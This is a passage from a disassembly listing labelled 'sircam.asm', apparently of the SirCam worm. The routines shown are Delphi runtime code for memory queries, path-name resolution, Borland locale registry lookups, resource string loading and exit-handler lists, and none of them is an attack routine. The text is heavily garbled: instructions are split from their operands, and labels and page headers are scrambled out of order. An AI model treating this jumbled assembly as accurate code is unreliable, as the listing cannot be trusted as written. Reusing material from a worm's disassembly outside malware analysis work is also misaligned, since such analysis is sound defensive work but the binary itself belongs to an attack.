; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404610
proc near
var_1C
var_18
var_C
= byte ptr -1Ch
= dword ptr -18h
= dword ptr -0Ch
; CODE XREF: sub_40330C+25\030p
sircam.asm
Fri Aug 10 12:42:44 2001
118
add
esp, 0FFFFFFE4h
push
1Ch
lea
edx, [esp+20h+var_1C]
push
edx
push
eax
call
j_VirtualQuery
cmp
[esp+1Ch+var_C], 1000h
jnz
short loc_404630
mov
eax, [esp+1Ch+var_18]
jmp
short loc_404632
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404630:
; CODE XREF: sub_404610+18\030j
xor
eax, eax
add
retn
endp
esp, 1Ch
loc_404632:
sub_404610
; CODE XREF: sub_404610+1E\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404638
proc near
mov
test
jz
; CODE XREF: sub_404B80+2B\031p
; CODE:0040933C\031p ...
edx, ds:dword_41C014
edx, edx
short locret_40465B
cmp
jz
cmp
jz
cmp
jnz
eax, [edx+4]
short loc_404651
eax, [edx+8]
short loc_404651
eax, [edx+0Ch]
short loc_404655
loc_404642:
; CODE XREF: sub_404638+21\031j
loc_404651:
; CODE XREF: sub_404638+D\030j
; sub_404638+12\030j
mov
eax, [edx+10h]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404655:
; CODE XREF: sub_404638+17\030j
mov
test
jnz
edx, [edx]
edx, edx
short loc_404642
locret_40465B:
sub_404638
; CODE XREF: sub_404638+8\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40465C
proc near
; CODE XREF: sub_404670+80\031p
; sub_404670+93\031p ...
jmp
short loc_404664
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40465E:
; CODE XREF: sub_40465C+11\031j
push
call
eax
j_CharNextA
mov
dl, [eax]
loc_404664:
; CODE XREF: sub_40465C\030j
sircam.asm
Fri Aug 10 12:42:44 2001
test
jz
cmp
jnz
dl, dl
short locret_40466F
dl, 5Ch
short loc_40465E
locret_40466F:
sub_40465C
119
; CODE XREF: sub_40465C+C\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404670
proc near
var_24F
var_14A
var_11E
var_C
var_8
var_4
=
=
=
=
=
=
; CODE XREF: sub_404818+88\031p
byte ptr -24Fh
byte ptr -14Ah
byte ptr -11Eh
dword ptr -0Ch
dword ptr -8
dword ptr -4
push
ebp
mov
ebp, esp
add
esp, 0FFFFFDB0h
push
ebx
push
esi
push
edi
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
mov
[ebp+var_8], eax
push
offset dword_4047F4
call
j_GetModuleHandleA
mov
ebx, eax
test
ebx, ebx
jz
short loc_4046D5
push
offset aGetlongpathnam ; "GetLongPathNameA"
push
ebx
call
j_GetProcAddress
mov
[ebp+var_C], eax
cmp
[ebp+var_C], 0
jz
short loc_4046D5
push
105h
lea
eax, [ebp+var_24F]
push
eax
mov
eax, [ebp+var_4]
push
eax
call
[ebp+var_C]
test
eax, eax
jz
short loc_4046D5
lea
eax, [ebp+var_24F]
push
eax
mov
eax, [ebp+var_4]
push
eax
call
j_lstrcpyA
jmp
loc_4047EA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4046D5:
; CODE XREF: sub_404670+23\030j
; sub_404670+37\030j ...
mov
cmp
jnz
mov
cmp
jnz
mov
add
call
eax, [ebp+var_4]
byte ptr [eax], 5Ch
short loc_404715
eax, [ebp+var_4]
byte ptr [eax+1], 5Ch
loc_4047EA
eax, [ebp+var_4]
eax, 2
sub_40465C
sircam.asm
Fri Aug 10 12:42:44 2001
120
mov
ebx, eax
cmp
byte ptr [ebx], 0
jz
loc_4047EA
lea
eax, [ebx+1]
call
sub_40465C
mov
ebx, eax
cmp
byte ptr [ebx], 0
jz
loc_4047EA
jmp
short loc_40471B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404715:
; CODE XREF: sub_404670+6B\030j
mov
add
ebx, [ebp+var_4]
ebx, 2
loc_40471B:
; CODE XREF: sub_404670+A3\030j
mov
esi, ebx
sub
esi, [ebp+var_4]
lea
eax, [esi+1]
push
eax
mov
eax, [ebp+var_4]
push
eax
lea
eax, [ebp+var_24F]
push
eax
call
j_lstrcpynA
jmp
loc_4047D1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404739:
lea
call
mov
mov
sub
mov
add
inc
cmp
jg
inc
push
push
lea
add
push
call
lea
push
lea
push
call
mov
cmp
jz
push
call
lea
push
call
lea
add
inc
cmp
jg
mov
lea
push
lea
add
inc
; CODE XREF: sub_404670+164\031j
eax, [ebx+1]
sub_40465C
edi, eax
eax, edi
eax, ebx
edx, eax
edx, esi
edx
edx, 105h
loc_4047EA
eax
eax
ebx
eax, [ebp+var_24F]
eax, esi
eax
j_lstrcpynA
eax, [ebp+var_14A]
eax
eax, [ebp+var_24F]
eax
j_FindFirstFileA
ebx, eax
ebx, 0FFFFFFFFh
short loc_4047EA
ebx
j_FindClose
eax, [ebp+var_11E]
eax
j_lstrlenA
edx, [esi+1]
eax, edx
eax
eax, 105h
short loc_4047EA
[ebp+esi+var_24F], 5Ch
eax, [ebp+var_11E]
eax
eax, [ebp+var_24F]
eax, esi
eax
sircam.asm
Fri Aug 10 12:42:44 2001
push
call
lea
push
call
inc
add
mov
eax
j_lstrcpyA
eax, [ebp+var_11E]
eax
j_lstrlenA
eax
esi, eax
ebx, edi
cmp
jnz
lea
push
mov
push
call
; CODE XREF: sub_404670+C4\030j
byte ptr [ebx], 0
loc_404739
eax, [ebp+var_24F]
eax
eax, [ebp+var_4]
eax
j_lstrcpyA
loc_4047D1:
loc_4047EA:
sub_404670
121
; CODE XREF: sub_404670+60\030j
; sub_404670+74\030j ...
mov
pop
pop
pop
mov
pop
retn
endp
eax, [ebp+var_8]
edi
esi
ebx
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dword_4047F4
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_404670+15\030o
aGetlongpathnam db ’GetLongPathNameA’,0 ; DATA XREF: sub_404670+25\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404818
proc near
var_11D
var_18
var_12
var_D
var_B
var_8
var_4
=
=
=
=
=
=
=
; CODE XREF: sub_405A34+1E\031p
byte ptr -11Dh
dword ptr -18h
byte ptr -12h
byte ptr -0Dh
byte ptr -0Bh
dword ptr -8
dword ptr -4
push
mov
add
push
push
mov
push
lea
push
push
call
mov
lea
push
push
push
push
push
call
test
jz
lea
ebp
ebp, esp
esp, 0FFFFFEE0h
ebx
esi
[ebp+var_4], eax
105h
eax, [ebp+var_11D]
eax
0
j_GetModuleFileNameA
[ebp+var_12], 0
eax, [ebp+var_8]
eax
0F003Fh
0
offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
80000001h
j_RegOpenKeyExA
eax, eax
short loc_404879
eax, [ebp+var_8]
sircam.asm
Fri Aug 10 12:42:44 2001
122
push
push
push
push
push
call
test
jnz
eax
0F003Fh
0
offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales"
80000001h
j_RegOpenKeyExA
eax, eax
short loc_4048EB
xor
push
push
push
mov
mov
lea
push
lea
push
push
push
lea
call
push
mov
push
call
test
jz
lea
push
lea
push
push
push
push
mov
push
call
; CODE XREF: sub_404818+41\030j
eax, eax
ebp
offset loc_4048E4
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_18], 5
eax, [ebp+var_18]
eax
eax, [ebp+var_12]
eax
0
0
eax, [ebp+var_11D]
sub_404670
eax
eax, [ebp+var_8]
eax
j_RegQueryValueExA
eax, eax
short loc_4048CD
eax, [ebp+var_18]
eax
eax, [ebp+var_12]
eax
0
0
offset dword_404A10
eax, [ebp+var_8]
eax
j_RegQueryValueExA
xor
pop
pop
pop
mov
push
; CODE XREF: sub_404818+99\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4048EB
loc_404879:
loc_4048CD:
loc_4048DA:
; CODE XREF: sub_404818+D1\031j
mov
eax, [ebp+var_8]
push
eax
call
j_RegCloseKey
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4048E4:
; DATA XREF: sub_404818+64\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4048DA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4048EB:
; CODE XREF: sub_404818+5F\030j
; DATA XREF: sub_404818+BD\030o
mov
push
lea
push
call
push
eax, [ebp+var_4]
eax
eax, [ebp+var_11D]
eax
j_lstrcpyA
5
sircam.asm
Fri Aug 10 12:42:44 2001
lea
push
push
call
push
call
xor
cmp
jz
cmp
jnz
cmp
jz
123
eax, [ebp+var_D]
eax
3
j_GetThreadLocale
eax
j_GetLocaleInfoA
esi, esi
[ebp+var_11D], 0
loc_4049CC
[ebp+var_D], 0
short loc_40492D
[ebp+var_12], 0
loc_4049CC
loc_40492D:
; CODE XREF: sub_404818+109\030j
lea
eax, [ebp+var_11D]
push
eax
call
j_lstrlenA
mov
ebx, eax
lea
eax, [ebp+var_11D]
add
ebx, eax
jmp
short loc_404946
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404945:
; CODE XREF: sub_404818+13B\031j
dec
ebx
cmp
jz
lea
cmp
jnz
; CODE XREF: sub_404818+12B\030j
byte ptr [ebx], 2Eh
short loc_404955
eax, [ebp+var_11D]
ebx, eax
short loc_404945
lea
cmp
jz
inc
cmp
jz
lea
push
push
call
push
push
lea
push
call
mov
; CODE XREF: sub_404818+131\030j
eax, [ebp+var_11D]
ebx, eax
short loc_4049CC
ebx
[ebp+var_12], 0
short loc_404982
eax, [ebp+var_12]
eax
ebx
j_lstrcpyA
2
0
eax, [ebp+var_11D]
eax
j_LoadLibraryExA
esi, eax
test
jnz
cmp
jz
lea
push
push
call
push
push
lea
push
call
mov
test
jnz
mov
; CODE XREF: sub_404818+14C\030j
esi, esi
short loc_4049CC
[ebp+var_D], 0
short loc_4049CC
eax, [ebp+var_D]
eax
ebx
j_lstrcpyA
2
0
eax, [ebp+var_11D]
eax
j_LoadLibraryExA
esi, eax
esi, esi
short loc_4049CC
[ebp+var_B], 0
loc_404946:
loc_404955:
loc_404982:
sircam.asm
Fri Aug 10 12:42:44 2001
lea
push
push
call
push
push
lea
push
call
mov
eax, [ebp+var_D]
eax
ebx
j_lstrcpyA
2
0
eax, [ebp+var_11D]
eax
j_LoadLibraryExA
esi, eax
loc_4049CC:
sub_404818
124
; CODE XREF: sub_404818+FF\030j
; sub_404818+10F\030j ...
mov
pop
pop
mov
pop
retn
endp
eax, esi
esi
ebx
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aSoftwareBorl_0 db ’Software\Borland\Locales’,0 ; DATA XREF: sub_404818+30\030o
align 4
aSoftwareBorl_1 db ’Software\Borland\Delphi\Locales’,0 ; DATA XREF: sub_404818+4E\030o
dword_404A10
dd 0, 0BE8h, 0C08BC300h ; DATA XREF: sub_404818+A7\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404A1C
sub_404A1C
proc near
call
sub_404A44
retn
endp
; CODE XREF: sub_40E3D0+8F\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
push
ebx
mov
ebx, eax
mov
eax, 8
call
sub_402598
mov
edx, ds:dword_41C018
mov
[eax], edx
mov
[eax+4], ebx
mov
ds:dword_41C018, eax
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404A44
proc near
; CODE XREF: sub_404A1C\030p
push
ebx
push
esi
mov
esi, ds:dword_41C018
test
esi, esi
jz
short loc_404A72
mov
edx, [esi+4]
cmp
edx, eax
jnz
short loc_404A72
mov
eax, ds:dword_41C018
mov
eax, [eax]
mov
ds:dword_41C018, eax
mov
edx, 8
mov
eax, esi
call
sub_4025B0
pop
esi
pop
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
125
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404A72:
; CODE XREF: sub_404A44+A\030j
; sub_404A44+11\030j
mov
test
jz
edx, esi
edx, edx
short loc_404A9F
loc_404A78:
; CODE XREF: sub_404A44+59\031j
mov
ecx, [edx]
test
ecx, ecx
jz
short loc_404A99
mov
ebx, [ecx+4]
cmp
ebx, eax
jnz
short loc_404A99
mov
esi, ecx
mov
eax, [ecx]
mov
[edx], eax
mov
edx, 8
mov
eax, esi
call
sub_4025B0
jmp
short loc_404A9F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404A99:
; CODE XREF: sub_404A44+38\030j
; sub_404A44+3F\030j
mov
test
jnz
edx, [edx]
edx, edx
short loc_404A78
loc_404A9F:
sub_404A44
; CODE XREF: sub_404A44+32\030j
; sub_404A44+53\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404AA4
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_404B10+1B\031p
push
mov
add
push
push
push
mov
mov
mov
cmp
jz
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
[ebp+var_4], eax
eax, ds:dword_41C018
[ebp+var_8], eax
[ebp+var_8], 0
short loc_404AF7
xor
push
push
push
mov
mov
mov
; CODE XREF: sub_404AA4+51\031j
eax, eax
ebp
offset loc_404ADF
dword ptr fs:[eax]
fs:[eax], esp
ebx, [ebp+var_8]
eax, [ebp+var_4]
loc_404ABE:
sircam.asm
Fri Aug 10 12:42:44 2001
126
call
dword ptr [ebx+4]
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
jmp
short loc_404AE9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404ADF:
; DATA XREF: sub_404AA4+1D\030o
jmp
loc_402E34
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call
sub_403008
loc_404AE9:
; CODE XREF: sub_404AA4+39\030j
mov
mov
mov
cmp
jnz
eax, [ebp+var_8]
eax, [eax]
[ebp+var_8], eax
[ebp+var_8], 0
short loc_404ABE
pop
pop
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ecx
ecx
ebp
loc_404AF7:
sub_404AA4
; CODE XREF: sub_404AA4+18\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404B00
sub_404B00
proc near
; CODE XREF: sub_405A34+3E\031p
mov
edx, ds:dword_41C014
mov
[eax], edx
mov
ds:dword_41C014, eax
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404B10
proc near
var_4
= dword ptr -4
push
mov
push
mov
xor
push
push
push
mov
mov
mov
call
xor
pop
pop
; CODE XREF: sub_403390+A6\030p
ebp
ebp, esp
ecx
[ebp+var_4], eax
edx, edx
ebp
offset loc_404B74
dword ptr fs:[edx]
fs:[edx], esp
eax, [ebp+var_4]
eax, [eax+4]
sub_404AA4
eax, eax
edx
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
pop
mov
push
127
ecx
fs:[eax], edx
offset loc_404B7B
loc_404B3D:
; CODE XREF: CODE:00404B79\031j
mov
eax, [ebp+var_4]
cmp
eax, ds:dword_41C014
jnz
short loc_404B54
mov
eax, [ebp+var_4]
mov
eax, [eax]
mov
ds:dword_41C014, eax
jmp
short locret_404B73
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404B54:
mov
test
jz
; CODE XREF: sub_404B10+36\030j
eax, ds:dword_41C014
eax, eax
short locret_404B73
loc_404B5D:
; CODE XREF: sub_404B10+61\031j
mov
edx, [eax]
cmp
edx, [ebp+var_4]
jnz
short loc_404B6D
mov
edx, [ebp+var_4]
mov
edx, [edx]
mov
[eax], edx
jmp
short locret_404B73
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404B6D:
; CODE XREF: sub_404B10+52\030j
mov
test
jnz
eax, [eax]
eax, eax
short loc_404B5D
locret_404B73:
sub_404B10
; CODE XREF: sub_404B10+42\030j
; sub_404B10+4B\030j ...
retn
endp ; sp = -0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404B74:
; DATA XREF: sub_404B10+A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_404B3D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404B7B:
; DATA XREF: sub_404B10+28\030o
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404B80
proc near
var_400
= byte ptr -400h
push
push
add
mov
mov
test
jz
cmp
; CODE XREF: sub_4032D0+E\030p
; sub_406CD4+23\031p ...
ebx
esi
esp, 0FFFFFC00h
esi, edx
ebx, eax
ebx, ebx
short loc_404BCD
dword ptr [ebx+4], 10000h
sircam.asm
Fri Aug 10 12:42:44 2001
128
jge
short loc_404BC3
push
400h
lea
eax, [esp+404h+var_400]
push
eax
mov
eax, [ebx+4]
push
eax
mov
eax, [ebx]
mov
eax, [eax]
call
sub_404638
push
eax
call
j_LoadStringA
mov
ecx, eax
mov
edx, esp
mov
eax, esi
call
sub_4035B0
jmp
short loc_404BCD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404BC3:
; CODE XREF: sub_404B80+17\030j
mov
mov
call
eax, esi
edx, [ebx+4]
sub_403680
loc_404BCD:
sub_404B80
; CODE XREF: sub_404B80+E\030j
; sub_404B80+41\030j
add
pop
pop
retn
endp
esp, 400h
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404BD8
proc near
; CODE XREF: sub_403BE8+C9\030p
mov
edx, [eax]
test
edx, edx
jz
short locret_404BEC
mov
dword ptr [eax], 0
push
eax
push
edx
mov
eax, [edx]
call
dword ptr [eax+8]
pop
eax
locret_404BEC:
sub_404BD8
; CODE XREF: sub_404BD8+4\030j
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404BF0
proc near
mov
mov
test
jz
push
push
mov
call
pop
; CODE XREF: sub_403CDC+DC\030p
; sub_403DF8+C7\030p ...
ecx, [eax]
[eax], edx
edx, edx
short loc_404C00
ecx
edx
eax, [edx]
dword ptr [eax+4]
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
loc_404C00:
test
jz
push
mov
call
; CODE XREF: sub_404BF0+6\030j
ecx, ecx
short locret_404C0A
ecx
eax, [ecx]
dword ptr [eax+8]
locret_404C0A:
sub_404BF0
129
; CODE XREF: sub_404BF0+12\030j
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
